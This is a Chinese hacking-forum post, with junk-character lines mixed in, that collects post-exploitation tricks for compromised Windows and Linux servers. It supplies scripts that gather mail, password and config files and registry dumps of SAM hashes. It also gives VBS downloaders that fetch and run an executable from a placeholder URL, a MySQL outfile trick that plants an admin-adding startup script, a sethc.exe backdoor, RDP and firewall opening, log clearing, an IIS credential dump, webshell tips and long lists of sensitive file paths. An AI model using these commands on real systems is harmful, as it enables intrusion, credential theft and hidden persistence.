7 X$ O" k+ B7 _/ Ncalling nmount()

' y, W" I+ m6 e（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
% @) y. `0 e2 v/ y& p——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
- i+ M, D1 I7 }5 E" v  C- s1 \————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
* j1 V2 {# K3 N{
+ s1 u9 u% r3 {0 }注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
- H9 g% y' r2 b3 u) S; J若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
! A/ ]) ?% U5 x% |那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
+ R0 l% [* P  |4 M}  

提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
8 C# y* l2 P1 s) I! O- N; l5 h0 M——————————————
2、收集系统信息的脚本  
! q; \0 A/ ?2 P' jfor window：
3 T; N( }& q0 {2 j
* T$ ~4 w, `/ R  ^0 D@echo off
2 }" E  Y% o% A$ Vecho #########system info collection
: E$ d0 @7 e: A. @  bsysteminfo
ver
hostname
% Y2 O# Q, c" h/ ~net user
net localgroup
net localgroup administrators
net user guest
: m, H1 f7 g$ P" B1 Knet user administrator

echo #######at- with   atq#####
echo schtask /query
$ Y) d, K. B2 d
echo
4 X; O3 Y9 D; }. k, z, g5 K( ^( Cecho ####task-list#############
' C" z% |9 n7 v( n$ wtasklist /svc
echo
: q- B- l+ M# V( r% B- Kecho ####net-work infomation
ipconfig/all
2 ?6 m& z$ I+ `4 n' Z5 \% S! Broute print
8 O2 E7 a3 D" d; w' |arp -a
netstat -anipconfig /displaydns
echo
echo #######service############
sc query type= service state= all
5 ~1 s# H; f4 secho #######file-##############
, |, L9 b( q- ~5 F* `cd \
, _' J& n+ E6 \0 V" W) W4 u  s+ Ttree -F
for linux：

#!/bin/bash
. t" |1 k9 ]/ s% s: d. X; t
+ x% L* H8 f# M) w4 r. Lecho #######geting sysinfo####
0 ?( i# v' }, k! w) zecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
! j: q/ T, j: p- S- l( w0 ]echo #######basic infomation##
cat /proc/meminfo
) D2 }3 \2 z# }1 @6 K" p+ Hecho
0 A/ V; W) m  X9 W$ _5 e* p# a. ]cat /proc/cpuinfo
echo
/ Y9 b3 n* z0 J- D  y5 i* f: h3 mrpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null

4 `( M2 O+ b9 K0 k& O
( ?& d+ c9 T9 b0 ~) techo 'u'r id is' `id`
- K* w. N  D" e" n" j7 cecho ###atq&crontab#####
atq
' F5 n/ T9 I6 \5 ~. C: E8 v3 ?crontab -l
: K: Z0 x5 P- S# B, Zecho #####about var#####
set
" v6 \) W5 V% T) b" H
) W' X' r$ n( p, }9 b, J8 ]& a' vecho #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
4 k8 ]: n) O5 k/ `2 ~ipconfig -a
4 F: E, A9 G9 ?9 f7 q3 f7 Uarp -v
echo ########user####
* `8 t1 u% n0 I& ~, K+ {/ Q9 Rcat /etc/passwd|grep -i sh
( P2 H2 S. x) B1 E* _7 {* G
- k! f. y* H8 z1 G% Aecho ######service####
chkconfig --list

' C- c3 A% `% c  Y# A' sfor i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
( z( [$ @7 f( S# Jdone

4 P8 \' x7 n, q1 \6 l1 p. Olocate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
sleep 5
* j4 l9 R* ^# y" o+ d; Rlocate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
4 K& {% g' t/ q, y, @sleep 5

) |3 }' D7 \8 A! q$ l& a###maybe can use "tree /"###
) b" |3 R4 h2 K9 d* u, Y2 g" Gecho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
5 B9 m# K5 ?9 B$ l' N) E$ Mrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
3 b! o. i$ z/ z. K0 s/ g- ]首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
2 F) H2 ?" P6 ~; V: Z* l( I据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
——————————————
' |& X$ n  ^" N/ z* E4、vbs 下载者
+ m# t% b  x0 o; ~1
0 a9 y: j% k$ x6 V  n1 @echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
: t) |: q( p! {  h8 iecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
- A" K& p6 ]; Q  ^% v( s' u* l  qecho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
) r& x- Y6 l! h. [echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
/ q9 Z$ {4 _! @+ i' K2 E. v. a
2
On Error Resume Nextim iRemote,iLocal,s1,s2
* [; D+ |3 P. L( U9 t4 e) c- T# EiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
. P; g7 H7 ^: |' B3 U" B8 Z' x7 J7 v. ws1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
. }( N4 M% G+ \Set sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
7 e) g' }) S# `
2 W4 ^9 Z, O- u6 D' ~cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
0 a5 J1 |9 s# ~5 @——————————————————
5、
1.查询终端端口
' l$ b9 V2 K  e( I0 JREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
9 K9 k1 Y8 D" j, |$ YREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
% G) t' _, `& VREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
$ \/ w# W( D1 l" Z$ q: i& }REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
/ S( H# A& g4 T0 Y6 U$ ?————————————————
$ `$ X8 A* V3 g' I" r& \6、create table a (cmd text);
8 C8 r6 T; L7 H! r/ n0 linsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
: }! d' j2 P# g" {  m0 @  {5 }: b————————————————————
% l; F' {0 K6 k4 ~7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
3 s5 T4 g8 M- b  m_____
8 {0 A9 P1 W6 }6 m/ [) I5 {8、for /d %i in (d:\freehost\*) do @echo %i
* U  F( A, u5 G4 _. z" P, e# s
6 t) ?1 _, ?; o+ C1 M& a* g7 }列出d的所有目录
  
  for /d %i in (???) do @echo %i
4 q$ l! x1 l  `& k
把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

$ z7 c( Y& q* Tfor /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

6 l' n5 ~3 V8 _+ K1 ~3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
% u$ I. f. \3 d) w1 R+ w/ _: _+ @
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

' }$ ]- V% E3 G  delims=后的空格是分隔符 tokens是取第几个位置
——————————
, u8 J7 e1 [( b●注册表:
1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

( Q" _- I! U# w+ o2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
8 Q# ?* L' n3 d% m2 F9 t, ]
5 N' x; [, ]$ f3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
4 t8 V# x* H& s2 }( A# D% w! R# E
4.Radmin密码:
3 h" s5 R, B6 Z. o* I9 breg export HKLM\SYSTEM\RAdmin c:\a.reg
/ Q& P) z0 W4 q* C! U4 i: o' I
5.禁用TCP/IP端口筛选(需重启):
# z1 U/ c+ ^$ ^- l4 S, WREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
2 w% G8 u; C) n$ W( J
: X2 _4 O; P5 K6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
6 C! i. w1 z& F3 N或者
& e, \2 S) k. Onetsh ipsec dynamic set config ipsecexempt value=0
4 }2 U: h9 \" l3 |8 @5 H
& c1 a8 {6 N- k- ^$ y# X3 _9 H7.停止指派策略"myipsec":
3 ~. u9 m" \2 _: o7 g2 f7 U" t+ n4 enetsh ipsec static set policy name="myipsec" assign=n

1 z# P, w8 L, b. w  o8 T9 G( B8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
% Y. _9 r6 ?  T" d" A0 P
9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
: \' p9 }/ y2 k$ C5 L% T  Treg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
3 I) _. `5 n1 o
- x5 v8 h& Q, r1 Z' O10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
( ~. [3 U4 \8 f, G7 `! ^" H-----------------------------------
星外vbs(注：测试通过，好东西）
- S! {. s# W) ~/ g+ j* J0 fSet ObjService=GetObject("IIS://LocalHost/W3SVC")
4 T+ m0 ~7 M! J. v" eFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
$ C, L3 u" |( {3 B( W! m" vif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
$ j* x4 }$ s% M/ J" W3 send if
- a6 i/ ^( V1 K  K0 rserverbindings=IIS.serverBindings
ServerComment=iis.servercomment
, z/ ]7 i  _6 D% F% L8 Lset IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
pass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
wscript.echo list
Set ObjService=Nothing
: r) a* @( W3 L/ d" t! c& G8 K( Uwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
* ^& T0 M' \. c- }8 l; kWScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
1 h& X$ v! q9 g8 }7 ?3 c1 t; r将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
/ q" F; n, `1 l5 q</OBJECT>
; [' Q- u( ]2 P; F复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
( }5 y0 w7 R5 X$ O. Z url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

2 i! @1 k4 @$ I9 q==============================================================
% D2 A# y% q4 i) ?/ ELINUX常见路径：

. O6 Y3 I+ D' h: \: p* [/etc/passwd
/etc/shadow
/etc/fstab
3 v5 M) ^7 {5 S0 W2 T/etc/host.conf
/etc/motd
& ]* Q% I# u: K" K& l/etc/ld.so.conf
5 k  [! t) `+ t4 [+ M* i$ F/var/www/htdocs/index.php
  A9 ^7 v3 m9 I9 V1 T* J/var/www/conf/httpd.conf
5 O, |# I, u+ S0 _# F) W5 }' K/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
1 f5 ]+ X' C' q$ q$ F, T/var/httpd/conf/php.ini
5 f) [& L- D5 g  H# n/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
6 b: `# q: U' y/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
1 ?8 V& c0 t5 q. ?0 i/usr/local/apache2/htdocs/index.html
0 ]5 V; @5 E6 |# P. |% m; `5 B/usr/local/apache2/htdocs/index.php
, o- N  c1 A5 J, h4 f. y5 }8 @/usr/local/httpd2.2/htdocs/index.php
: [* ?; r9 t" V) k( Q: ]/usr/local/httpd2.2/htdocs/index.html
; |( J5 Q+ i% F4 }7 N8 p/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
: ~3 V2 U( b6 T5 R/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
' n# G' E$ h0 a& ]3 u5 B3 ?/www/php/php.ini
/www/php4/php.ini
* `* T2 k) r: ~/www/php5/php.ini
8 j7 C. O3 b  v2 M1 i* q/www/conf/httpd.conf
/www/htdocs/index.php
$ H9 Q& G( D, L9 ?+ V0 @/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
, E, h. f8 _$ ]/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
) W2 N4 f- Q+ S; x" E0 z/etc/apache/apache.conf
/etc/apache2/apache.conf
9 ~  S  J, f: a# K% P/etc/apache/httpd.conf
/etc/apache2/httpd.conf
8 d* d4 [( V" i2 A! l+ G* B% r& [/etc/apache2/vhosts.d/00_default_vhost.conf
! k5 R# |. N) K7 \' T/etc/apache2/sites-available/default
: S1 m: K$ s- u) Z* A/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
; g% W5 u( a. X/etc/httpd/conf.d/php.conf
; f+ O1 ]& c& o/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
) |' [$ _0 ?( A& z/ @. H; V/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
. Z- q( Q% T3 G; d; K- U/home/apache2/conf/httpd.conf
! J- r# _/ {4 c$ x/var/log/apache/error_log
4 ~. o: D9 c( `, N# G/ l/var/log/apache/error.log
8 z1 A- v, C4 ?9 V0 M  C/var/log/apache/access_log
( n- a9 t5 u3 U; g, `, N$ ~- x/var/log/apache/access.log
/var/log/apache2/error_log
' ~! Z4 V, m3 F" H: j/var/log/apache2/error.log
3 r+ V4 E+ L" X! s9 e) e" R/var/log/apache2/access_log
9 M6 n4 X( @0 W! u/ y. c2 Q6 M  q/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
" s  b; _. `$ m/var/www/logs/access.log
/usr/local/apache/logs/error_log
7 Z  z* _% h4 @  ~2 V5 b# m! z" o/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
5 y: O2 q9 G) K/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
* c2 i7 v& ~0 ^" u/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
5 J# l2 ~5 S: G) T7 H2 A, S/bin/php.ini
/etc/init.d/httpd
/etc/init.d/mysql
+ r; z2 q) f" j! p5 C8 E/etc/httpd/php.ini
3 s& ^7 g) V" s) o: J. j/usr/lib/php.ini
/usr/lib/php/php.ini
5 v$ h# Z" X# i3 C/usr/local/etc/php.ini
& A/ p- a1 h0 g! c- w- s/usr/local/lib/php.ini
* R, h8 B9 X: T/ W8 [/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
' T0 C4 K! x; Z/ E6 ]/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
$ q/ I, p" D8 }, h. u6 n/usr/local/php5/etc/php.ini
6 y) n7 K& Y8 ~/usr/local/php5/php5.ini
$ k- Y& y( z- w( v) ~* n9 L  W* E) |/usr/local/apache/conf/php.ini
1 j6 q4 n) F" D9 Q$ u/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
7 ~8 w) f9 p9 P3 K! U8 @/usr/local/apache2/conf/php.ini
4 X1 |. ]9 M- x8 V* ~/ A, H& R4 X/etc/php4.4/fcgi/php.ini
+ Q% d  S" V. n# f/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
2 K) K# \, A7 ]7 ^  x* A; b/etc/php5/apache/php.ini
$ |% t8 h  I6 v2 E4 D$ l' s/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
1 F9 H. x6 P4 r4 K, G" o# o# R$ x2 h/etc/php/apache/php.ini
8 J) E7 |8 x7 V/ y5 H/etc/php/apache2/php.ini
/web/conf/php.ini
: N# c2 t) h; F1 H( a4 W! y/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
: T4 I4 i& W# `" ~+ \; d" l/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/ \& Q" }8 B! y2 o9 h/php5/php.ini
9 Z6 [0 |* b3 @0 `: Q/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
7 Z5 z3 B: `# r/xampp/apache/conf/httpd.conf
  k, }- _- F4 @; V, x/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
% Y- Z* p7 h5 F5 Q; x) G/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
/var/log/mysql.log
/var/log/mysqlderror.log
! {; i8 D9 X8 w1 h/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
5 x6 l! p' Z- p( J) E/var/mysql.log
" A1 ?- B4 M/ G# K6 w5 j/var/lib/mysql/my.cnf
0 C' W0 ~+ f  N; }& t/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
- g, P3 B+ B& ^/etc/mysql/my.cnf
$ R1 m% z/ U( S+ _/etc/my.cnf
: V4 N% ~# K$ y2 g$ Z2 _/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
' z  s: x8 m: f9 T1 t+ j; B/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
# O2 k3 a" y, F* @* r/usr/local/cpanel/logs/stats_log
4 J. b5 A, c4 ~& f/usr/local/share/examples/php4/php.ini
, f% {) z# E0 x/ R7 o5 \+ k/usr/local/share/examples/php/php.ini

$ P3 H" Q$ }# C* B4 d2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

& V0 h% H0 t+ j8 I9 Vc:\windows\php.ini
c:\boot.ini
. T8 J$ ?1 V$ n3 j* ac:\1.txt
c:\a.txt
. o3 W. V$ y! j+ X, _' C1 [- O; K
; ^7 i* T& X$ i0 B  n: [- a4 rc:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
% T" b7 t" y* h  fc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
5 s5 F6 I! t0 ?c:\program files\CMailServer\WebMail\index.asp
5 Q6 v  q( y2 H2 \& {C:\WinWebMail\SysInfo.ini
! [  @, e. J' V( H( Q7 |* SC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
( A' i4 U* R2 T; r8 a' w3 l. }( c9 wC:\WINDOWS\7i24tool.exe

  m8 A5 T! i8 |$ j$ r$ Oc:\hzhost\databases\url.asp

8 Z( i8 b, F1 _c:\hzhost\hzclient.exe
: m$ ?; ?( C% }  ~' k) w. YC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

+ K3 U6 W7 Z; u" `C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
( A$ s) J5 a0 y0 oC:\WINDOWS\web.config
" L( i# _4 I: w2 Pc:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
c:\web\index.asp
c:\www\index.asp
" V& |, k( w$ G7 i& Jc:\wwwsite\index.asp
% Y& [! {. l7 cc:\WWWROOT\index.asp
c:\web\index.php
: n7 L& r4 d- ]9 @0 Y8 @0 zc:\www\index.php
. @. ?. o: e" y4 p7 z* X' v2 Xc:\WWWROOT\index.php
) n6 e  {# ?9 gc:\WWWsite\index.php
" x2 J2 n% N1 H: L* k. Sc:\web\default.html
3 f: S2 h. D, a2 kc:\www\default.html
8 i" \* ?+ w- e6 g, |8 d; N' [! Jc:\WWWROOT\default.html
2 z3 }  o9 o7 \+ Z# n' B3 e; Dc:\website\default.html
c:\web\default.asp
- a' {& _* `/ p: L; Ac:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
, g1 k7 G/ m! s+ }5 U/ o+ F: ec:\www\default.php
c:\WWWROOT\default.php
  k7 n! L; ~: n' I8 pc:\WWWsite\default.php
0 E, v3 j" d5 O; R! @% @( mC:\Inetpub\wwwroot\pagerror.gif
2 f  X% H, D+ L  r& w2 mc:\windows\notepad.exe
0 j' R0 d# h) fc:\winnt\notepad.exe
9 ?4 F- y2 w, o, f7 hC:\Program Files\Microsoft Office\OFFICE10\winword.exe
6 Y0 n: Y! @( v2 S8 D  cC:\Program Files\Microsoft Office\OFFICE11\winword.exe
! p( |6 w9 G9 d; m! i9 [C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
, N; h( ?  c* h* \4 s- A5 r+ FC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
( U0 t- P9 h1 X5 ^7 K# |C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
0 o3 x- i# z1 ]0 Oc:\ravbin\store.ini
c:\rising.ini
& k  ^) b' s: r6 WC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
$ E: ^! |& W$ h1 a! R. U( AC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
) _$ l- m; w/ ]1 F, J: A/ [7 V% RC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
/ d) e, k# M* G% ]6 l8 RC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
, ^8 S; e; T$ o$ F# j# x. ]C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
+ i0 [3 N) p0 |; RC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
7 d2 @) z2 y! x) BC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
; }! O' X+ y/ u' cC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
! V, a, z) d: uC:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
3 e* N5 `5 Y: n  [# ]2 Bc:\MySQL\MySQL Server 4.1\bin\mysql.exe
4 l2 S+ e. l! U' ~! Z6 ]7 Tc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
. ~- H& E! G2 X( M# p3 d! o* qC:\WINDOWS\system32\inetsrv\w3wp.exe
9 w  V. N% [0 d1 \3 m+ h2 [3 c7 BC:\WINDOWS\system32\inetsrv\inetinfo.exe
9 C* ?. T+ e- p* h  ?C:\WINDOWS\system32\inetsrv\MetaBase.xml
( `1 j2 g& s6 p. \C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
# R) _: E5 u0 gc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
$ A1 B/ C- Y! E2 ^1 ^. i/ }c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
  ~) a( E& i8 ~c:\program files\tomcat6\bin\version.sh
! c$ r* e# s% g/ {1 c9 OC:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
  @! [2 [7 s6 S0 X! d3 p6 E: d& Hc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
c:\Apache2\Apache2\bin\Apache.exe
3 V7 K6 }9 F) qc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
" F4 f5 p$ z: D) n' s2 }C:\Program Files\Apache Group\Apache2\bin\Apache.exe
: `; C2 D% y* v% Y# D$ v" {/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
( x2 g. n9 B% E& ]5 ^" s# Kc:\Program Files\QQ2007\qq.exe
$ v+ G# \* N0 {( b  G( g) ?c:\Program Files\Tencent\qq\User.db
+ n8 V4 j% @$ v, |$ y8 mc:\Program Files\Tencent\qq\qq.exe
; W2 D% A2 X& ~: Z' L, r/ m5 cc:\Program Files\Tencent\qq\bin\qq.exe
3 m2 w' a4 ^& F3 `c:\Program Files\Tencent\qq2009\qq.exe
' d2 W5 m# M- [) x5 Oc:\Program Files\Tencent\qq2008\qq.exe
